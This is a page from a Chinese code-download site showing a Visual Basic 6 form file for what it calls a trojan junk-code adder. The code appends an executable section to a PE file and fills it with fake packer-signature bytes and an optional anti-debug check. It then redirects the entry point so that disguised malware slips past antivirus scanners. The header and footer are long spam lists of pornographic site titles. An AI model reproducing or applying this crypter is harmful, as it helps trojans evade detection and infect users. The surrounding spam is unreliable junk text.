亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? frmmain.frm

?? vb編制的木馬加花器
?? FRM
?? 第 1 頁 / 共 2 頁
字號:
End If
hFile = Ret
If Not isPE(FilePath) Then
    MsgBox "不是有效的PE文件", vbInformation + vbOKOnly, "提示"
    GoTo ErrHandle
End If
SetFilePointer hFile, &H3C, 0, FILE_BEGIN
'''&H3C 為保存PE結(jié)構(gòu)地址的文件偏移地址
ReadFileLng hFile, ByVal VarPtr(dwPE_Header_OffSet), 4, lngBytesRead, 0  '讀取 e_lfanew字段
'PE signature (PE) PE結(jié)構(gòu)的地址
SetFilePointer hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
ReadFileLng hFile, ByVal VarPtr(PE_Header), Len(PE_Header) + Len(SECTION_Header), lngBytesRead, 0
'**************************************************
'判斷是否有多余空間來新增區(qū)段
'**************************************************
SECTION_Num = PE_Header.FileHeader.NumberOfSections
SECTION_Mount = SECTION_Num * &H28 '&h28 = sizeof IMAGE_SECTION_HEADER
SECTION_Mount = SECTION_Mount + dwPE_Header_OffSet '+PE文件頭偏移
SECTION_Mount = SECTION_Mount + &H18 'sizeof IMAGE_FILE_HEADER + "PE"
SECTION_Mount = SECTION_Mount + PE_Header.FileHeader.SizeOfOptionalHeader 'sizeof IMAGE_OPTIONAL_HEADER
SECTION_Mount = SECTION_Mount + &H28
If SECTION_Mount > PE_Header.OptionalHeader.SizeOfHeaders Then
    MsgBox "沒有足夠空間加入新節(jié)", vbInformation + vbOKOnly, "提示"
    GoTo ErrHandle
End If
'保存原入口
Old_AddressOfEntryPoint = PE_Header.OptionalHeader.AddressOfEntryPoint
Old_ImageBase = PE_Header.OptionalHeader.ImageBase
'**************************************************
'計算新節(jié)的偏移地址:
'**************************************************
    dwMySectionOffSet = PE_Header.FileHeader.NumberOfSections * &H28
    'dwMySectionOffSet = dwMySectionOffSet + 4      ';4h = sizeof "PE\0\0"
    dwMySectionOffSet = dwMySectionOffSet + dwPE_Header_OffSet
    dwMySectionOffSet = dwMySectionOffSet + &H18
    dwMySectionOffSet = dwMySectionOffSet + Len(OPTIONAL_Header) 'OPTIONAL_Header = IMAGE_OPTIONAL_HEADER
    '新節(jié)偏移地址
'    ;****************************************
'    ;填充我們自己的節(jié)的信息:
'    ;****************************************
    
    
    strSectionName = (StrConv(strNewSectionName, vbFromUnicode))
    Call CopyMemory(ByVal VarPtr(SECTION_Header.SectionName(0)), ByVal StrPtr(strSectionName), 8)
    SECTION_Header.VirtualSize = lngNewSectionSize
    SECTION_Header.VirtualAddress = PE_Header.OptionalHeader.SizeOfImage
    SECTION_Header.SizeOfRawData = (SECTION_Header.VirtualSize \ PE_Header.OptionalHeader.FileAlignment + 1) * PE_Header.OptionalHeader.FileAlignment
     
     
     'SizeOfRawData在EXE文件中是對齊到FileAlignMent的整數(shù)倍的值
    NewOffset = dwMySectionOffSet - &H18
    '這個偏移是定位到最后一節(jié)的“SizeOfRawData” &h18 = sizeof IMAGE_FILE_HEADER
    SetFilePointer hFile, NewOffset, 0, FILE_BEGIN
    ReadFileLng hFile, ByVal VarPtr(dwLastSection_SizeOfRawData), 4, lngBytesRead, 0
    ReadFileLng hFile, ByVal VarPtr(dwLastSection_PointerToRawData), 4, lngBytesRead, 0
    
    '每個節(jié)的 PointerToRawData 等于它的上一節(jié)的 SizeOfRawData + PointerToRawData:
    SECTION_Header.PointerToRawData = dwLastSection_SizeOfRawData + dwLastSection_PointerToRawData
    SECTION_Header.PointerToRelocations = 0
    SECTION_Header.PointerToLinenumbers = 0
    SECTION_Header.NumberOfRelocations = 0
    SECTION_Header.NumberOfLinenumbers = 0
    SECTION_Header.Characteristics = &HE0000020   ';可讀可寫可執(zhí)行
    
    
    
    
        '''計算jmp的偏移量
'    Select Case ComboFakeCode.Text
'        Case "EXECryptor 1.x.x -> SoftComplete Developement":
'            strFakeCode = strEXECryptor
'        Case "ASPack 2.12 -> Alexey Solodovnikov":
'            strFakeCode = strAsPack
'        Case ".BJFNT 1.3 -> :MARQUiS:":
'            strFakeCode = strBJFNT
'        Case "EXE Shield v0.1b - v0.3b, v0.3 -> SMoKE *":
'            strFakeCode = strExeShield
'    End Select
    strFakeCode = Replace$(strFakeCode, " ", "")
    ''''這里開始加入反調(diào)試
    If chkIsDebuggerPresent Then
        strFakeCode = strFakeCode & strIsDebuggerPresent
    End If
    ''''''''''''''''''''''
    
    strFakeCode = strFakeCode & "E9"
    lngjmpOffset = Len(strFakeCode) \ 2  ''''由于花指令而增加的偏移量
    lngjmpOffset = lngjmpOffset + SECTION_Header.VirtualAddress ''''新增的Ep+增加的代碼偏移
    lngjmpOffset = Old_AddressOfEntryPoint - lngjmpOffset - 4 ' 往回跳
    '由于本加花都是跨區(qū)段回跳 地址占了 4位  如 E9 ****FFFF
    strFakeCode = strFakeCode & ReverseBytes(Hex8(lngjmpOffset))
    CodeBuf.nBuf = 0   '在模塊中定義
    AddCode strFakeCode
    
'    ;****************************************
'    ;是否改寫所有區(qū)段名稱:
'    ;****************************************
    Section_Offset = dwPE_Header_OffSet + &H18 + Len(OPTIONAL_Header)
    strSectionName = (StrConv(strNewSectionName, vbFromUnicode))
    If chkModifySectionName And SECTION_Num >= 1 Then
        For i = 1 To SECTION_Num
            SetFilePointer hFile, Section_Offset + (i - 1) * &H28, 0, FILE_BEGIN   '&H28 = sizeof(section)
            WriteFileLng hFile, ByVal StrPtr(strSectionName), 8, lngBytesRead, 0
        Next
    End If
'    ;**************************************************
'    ;重新寫入IMAGE_SECTION_HEADER:(包含了新節(jié)的信息)
'    ;**************************************************
    SetFilePointer hFile, dwMySectionOffSet, 0, FILE_BEGIN
    WriteFileLng hFile, ByVal VarPtr(SECTION_Header), Len(SECTION_Header), lngBytesRead, 0
'    ;****************************************
'    ;在文件的最后寫入我們的新節(jié):
'    ;預(yù)留效果:
'    ;  1.加花的時候 可以把程序的區(qū)段名 改掉
'    ;  2.添加 Anti-Debug 代碼
'    ;****************************************
    '''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''
    SetFilePointer hFile, 0, 0, FILE_END
    WriteFileLng hFile, ByVal VarPtr(CodeBuf.Code.Buf(0)), SECTION_Header.SizeOfRawData, lngBytesRead, 0
'    ;**************************************************
'    ;改寫IMAGE_NT_HEADERS,使新節(jié)可以首先執(zhí)行:
'    ;(需要改寫 SizeOfImage 和 AddressOfEntryPoint)
'    ;**************************************************
PE_Header.FileHeader.NumberOfSections = PE_Header.FileHeader.NumberOfSections + 1
PE_Header.OptionalHeader.SizeOfImage = PE_Header.OptionalHeader.SizeOfImage + (SECTION_Header.VirtualSize \ PE_Header.OptionalHeader.FileAlignment + 1) * PE_Header.OptionalHeader.FileAlignment
'SizeOfImage是一個對齊到SectionAlignment的整數(shù)倍的值
PE_Header.OptionalHeader.AddressOfEntryPoint = SECTION_Header.VirtualAddress
'現(xiàn)在的 AddressOfEntryPoint 是指向新節(jié)的第一條指令
SetFilePointer hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
WriteFileLng hFile, ByVal VarPtr(PE_Header), Len(PE_Header), lngBytesRead, 0
MsgBox "加花成功,請檢查!", vbInformation + vbOKOnly, "提示"
ErrHandle:
CloseHandle hFile
End Sub
Public Sub GotADrop(strFileName As String)
txtFilePath.Text = strFileName
End Sub

Private Sub ComboFakeCode_Click()
' ComboFakeCode.ListIndex 就是xml文件節(jié)點的 index
Dim i As Long
Debug.Print ComboFakeCode.ListIndex
strFakeCode = xmlReadWrite.GetChildValue("/junkCode/HexCode", ComboFakeCode.ListIndex)
End Sub

Private Sub ComboFakeCode_KeyPress(KeyAscii As Integer)
KeyAscii = 0
End Sub

Private Sub Form_Load()
Dim i As Long
If Dir(App.Path & "\config.xml") <> "" Then
    If Not (xmlReadWrite.OpenXML(App.Path & "\config.xml")) Then
        MsgBox "讀取配置文件錯誤", vbInformation, "提示"
        Exit Sub
    End If
Else
    Call InitializexmlData
    If Not (xmlReadWrite.OpenXML(App.Path & "\config.xml")) Then
        MsgBox "讀取配置文件錯誤", vbInformation, "提示"
        Exit Sub
    End If
End If
ComboFakeCode.Clear
For i = 0 To xmlReadWrite.NodeCount("/junkCode/HexCode") - 1
    ComboFakeCode.AddItem (xmlReadWrite.GetChildAttribute("/junkCode/HexCode", "name", i))
Next
ComboFakeCode.Text = ComboFakeCode.List(0)
strFakeCode = xmlReadWrite.GetChildValue("/junkCode/HexCode", 0)

txtSectionName.Text = xmlReadWrite.ReadNode("/junkCode/SectionName")
txtSectionSize.Text = Val(xmlReadWrite.ReadNode("/junkCode/SectionSize"))
chkIsDebuggerPresent.Value = Val(xmlReadWrite.ReadNode("/junkCode/AddIsDebuggerPresent"))
chkModifySectionName.Value = Val(xmlReadWrite.ReadNode("/junkCode/EditSectionName"))
chkBakFile.Value = Val(xmlReadWrite.ReadNode("/junkCode/BackFile"))
chkTopMost.Value = Val(xmlReadWrite.ReadNode("/junkCode/TopMost"))
''調(diào)試
EnableDragDrop Me.hwnd
End Sub

Private Sub Form_Unload(Cancel As Integer)
''調(diào)試
DisableDragDrop Me.hwnd
End Sub
Private Sub LoadxmlSetting()
Dim i As Long
Dim strTemp As String
If Dir(App.Path & "\config.xml") <> "" Then
    If Not (xmlReadWrite.OpenXML(App.Path & "\config.xml")) Then
        MsgBox "讀取配置文件錯誤", vbInformation, "提示"
        Exit Sub
    End If
    ComboFakeCode.Clear
    strTemp = xmlReadWrite.ReadNode("/junkCode/SectionName")
Else
    Call InitializexmlData
End If

End Sub
Private Sub LoadxmlHexCode()
Dim i As Long
Dim strTemp As String
If Dir(App.Path & "\config.xml") <> "" Then
    If Not (xmlReadWrite.OpenXML(App.Path & "\config.xml")) Then
        MsgBox "讀取配置文件錯誤", vbInformation, "提示"
    End If
    ComboFakeCode.Clear
    For i = 0 To xmlReadWrite.NodeCount("/junkCode/HexCode") - 1
        ComboFakeCode.AddItem (xmlReadWrite.GetChildAttribute("/junkCode/HexCode", "name", i))
    Next
Else
    Call InitializexmlData
End If
End Sub
Private Sub InitializexmlData()
Dim FileNumber As Integer
FileNumber = FreeFile
Open App.Path & "\config.xml" For Output As FileNumber
Print #FileNumber, "<?xml version=""1.0"" encoding=""GB2312""?>"
Print #FileNumber, "<!--注釋簡介-->"
Print #FileNumber, "<!--<CodeValue name=""這里添加指令名稱如:花指令1"">這里填寫花指令代碼</CodeValue>-->"
Print #FileNumber, "<junkCode>"
Print #FileNumber, "    <HexCode>"
Print #FileNumber, "    <SectionName>.kylin</SectionName>"
Print #FileNumber, "    <SectionSize>512</SectionSize>"
Print #FileNumber, "    <AddIsDebuggerPresent>1</AddIsDebuggerPresent>"
Print #FileNumber, "    <EditSectionName>0</EditSectionName>"
Print #FileNumber, "    <BackFile>1</BackFile>"
Print #FileNumber, "    <TopMost>1</TopMost>"
Print #FileNumber, "        <CodeValue name=""EXECryptor 1.x.x -> SoftComplete Developement"">E8240000008B4C240CC70117000100C781B80000000000000031C089411489411880A1C1000000FEC3</CodeValue>"
Print #FileNumber, "        <CodeValue name=""ASPack 2.12 -> Alexey Solodovnikov"">60E803000000E9EB045D4555C3E801000000EB5DBBEDFFFFFF03DD81EB0040000061</CodeValue>"
Print #FileNumber, "        <CodeValue name="".BJFNT 1.3 -> :MARQUiS:"">EB033A4D3A1EEB02CD209CEB02CD20EB02CD2060619D1F</CodeValue>"
Print #FileNumber, "        <CodeValue name=""EXE Shield v0.1b - v0.3b, v0.3 -> SMoKE *"">E8040000008360EB0C5DEB050000000000</CodeValue>"
Print #FileNumber, "    </HexCode>"
Print #FileNumber, "</junkCode>"
Close FileNumber
'Call LoadxmlHexCode
End Sub

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产网站一区二区三区| 3d成人h动漫网站入口| 亚洲成人免费视| 久久久精品国产免大香伊| 色综合久久99| 国产成人免费在线| 五月天亚洲婷婷| 国产精品久久毛片| 欧美一卡二卡在线观看| 一本大道久久a久久综合婷婷 | 国产精品卡一卡二| 欧美一区二区三区免费视频| 波多野结衣精品在线| 美洲天堂一区二卡三卡四卡视频| 亚洲欧洲精品一区二区三区不卡| 欧美成人bangbros| 欧美精品久久99久久在免费线| bt欧美亚洲午夜电影天堂| 久草精品在线观看| 日韩精品1区2区3区| 亚洲精品自拍动漫在线| 国产精品毛片久久久久久| 精品国产乱码91久久久久久网站| 欧美日韩一区二区三区四区| 99精品一区二区| 粉嫩在线一区二区三区视频| 寂寞少妇一区二区三区| 日韩1区2区日韩1区2区| 亚洲成a人v欧美综合天堂下载| 亚洲女人小视频在线观看| √…a在线天堂一区| 国产女人水真多18毛片18精品视频| 日韩精品一区在线观看| 日韩视频免费观看高清完整版| 欧美日韩成人激情| 欧美乱妇23p| 欧美精品粉嫩高潮一区二区| 欧美亚洲丝袜传媒另类| 在线观看精品一区| 欧洲国内综合视频| 欧美午夜免费电影| 欧美日韩成人综合天天影院| 欧美色男人天堂| 欧美日韩在线电影| 337p亚洲精品色噜噜| 51精品国自产在线| 欧美一级高清片在线观看| 日韩一级完整毛片| 久久人人超碰精品| 欧美国产欧美综合| 亚洲色欲色欲www| 亚洲最大色网站| 亚洲一区av在线| 爽爽淫人综合网网站| 免费观看成人av| 国模娜娜一区二区三区| 国产精品18久久久| 一本大道综合伊人精品热热| 欧美色综合天天久久综合精品| 欧美人妖巨大在线| 欧美xxxxx裸体时装秀| 久久美女艺术照精彩视频福利播放| 久久久国际精品| 中文字幕在线不卡一区| 亚洲图片欧美色图| 另类调教123区| 成人性生交大片免费看中文网站| 91小视频在线免费看| 国产精品国产三级国产三级人妇| 一本久久综合亚洲鲁鲁五月天| 国产精品一区在线| 国产精品毛片久久久久久| 欧美精品黑人性xxxx| 精品成人私密视频| 色综合久久久久综合99| 欧美挠脚心视频网站| 国产精品免费av| 日韩视频免费直播| 国产精品女同互慰在线看| 亚洲狼人国产精品| 美女视频黄a大片欧美| 成人一区二区三区| 欧美日韩国产系列| 久久亚洲一区二区三区四区| 亚洲日本一区二区| 日韩av成人高清| 波多野结衣在线aⅴ中文字幕不卡| 欧美日韩极品在线观看一区| 亚洲精品在线网站| 亚洲免费视频中文字幕| 麻豆91在线播放免费| 91美女片黄在线观看91美女| 精品免费国产二区三区| 亚洲乱码国产乱码精品精98午夜| 老司机免费视频一区二区| 91一区在线观看| 精品久久久久av影院| 一区二区三区在线观看网站| 国产制服丝袜一区| 欧美午夜精品一区二区蜜桃| 国产人妖乱国产精品人妖| 日韩电影免费在线观看网站| jlzzjlzz欧美大全| 欧美精品一区二区三区蜜桃| 亚洲国产裸拍裸体视频在线观看乱了 | 麻豆精品蜜桃视频网站| 91蝌蚪porny| 久久久精品人体av艺术| 石原莉奈一区二区三区在线观看 | 高清视频一区二区| 日韩欧美一区二区免费| 一区二区三区国产精品| 国产91对白在线观看九色| 日韩亚洲欧美成人一区| 亚洲影院理伦片| 97久久精品人人做人人爽| www精品美女久久久tv| 日日夜夜精品视频免费| 亚洲天天做日日做天天谢日日欢| 在线电影一区二区三区| 午夜久久久久久久久久一区二区| 91老师国产黑色丝袜在线| 亚洲国产激情av| 色欧美乱欧美15图片| 性做久久久久久久免费看| 777欧美精品| 成人午夜视频在线| 久久 天天综合| 亚洲小说欧美激情另类| 在线一区二区三区四区| 亚洲综合在线视频| 国产精品夜夜嗨| 欧美综合视频在线观看| 国产精品成人一区二区三区夜夜夜| 久久精品国产色蜜蜜麻豆| 91精品国产美女浴室洗澡无遮挡| 亚洲国产一区二区三区青草影视| 一道本成人在线| 亚洲一区中文日韩| 欧美日本一区二区在线观看| 亚洲一区在线免费观看| 7777精品伊人久久久大香线蕉完整版 | 91麻豆蜜桃一区二区三区| 最近中文字幕一区二区三区| 白白色 亚洲乱淫| 亚洲欧美激情在线| 欧美日韩一级视频| 蜜臀99久久精品久久久久久软件 | 视频一区视频二区中文| 天天色综合天天| 欧美高清dvd| 免费成人你懂的| 欧美tk丨vk视频| 国产自产2019最新不卡| 国产精品少妇自拍| 91污片在线观看| 亚洲一区二区三区免费视频| 欧美日韩精品电影| 国内精品免费在线观看| 成人污污视频在线观看| 色综合天天综合网国产成人综合天| 狠狠色狠狠色综合日日91app| 亚洲精品在线电影| 成人一区二区三区中文字幕| 亚洲手机成人高清视频| 欧美日韩国产欧美日美国产精品| 日韩国产欧美三级| 国产色爱av资源综合区| 色婷婷av一区二区三区软件| 性欧美大战久久久久久久久| 久久综合成人精品亚洲另类欧美 | 天堂蜜桃91精品| 国产成人精品亚洲午夜麻豆| 91在线一区二区三区| 91在线国产福利| 欧美日韩性生活| 欧美日本国产一区| 国产成人在线视频网址| 18欧美亚洲精品| 欧美久久一二区| 丁香六月久久综合狠狠色| 亚洲国产精品一区二区www| 精品国产一区二区三区四区四| 成人小视频在线| 日本不卡视频在线观看| 国产精品污www在线观看| 欧美三级蜜桃2在线观看| 国模一区二区三区白浆| 亚洲综合av网| 中文字幕乱码一区二区免费| 欧美一区三区二区| 97精品电影院| 国产美女主播视频一区| 亚洲h动漫在线| 国产精品成人一区二区三区夜夜夜| 日韩欧美成人激情| 欧美亚洲国产怡红院影院| 国产成人av一区二区三区在线| 日韩精品免费专区| 亚洲欧美日韩人成在线播放|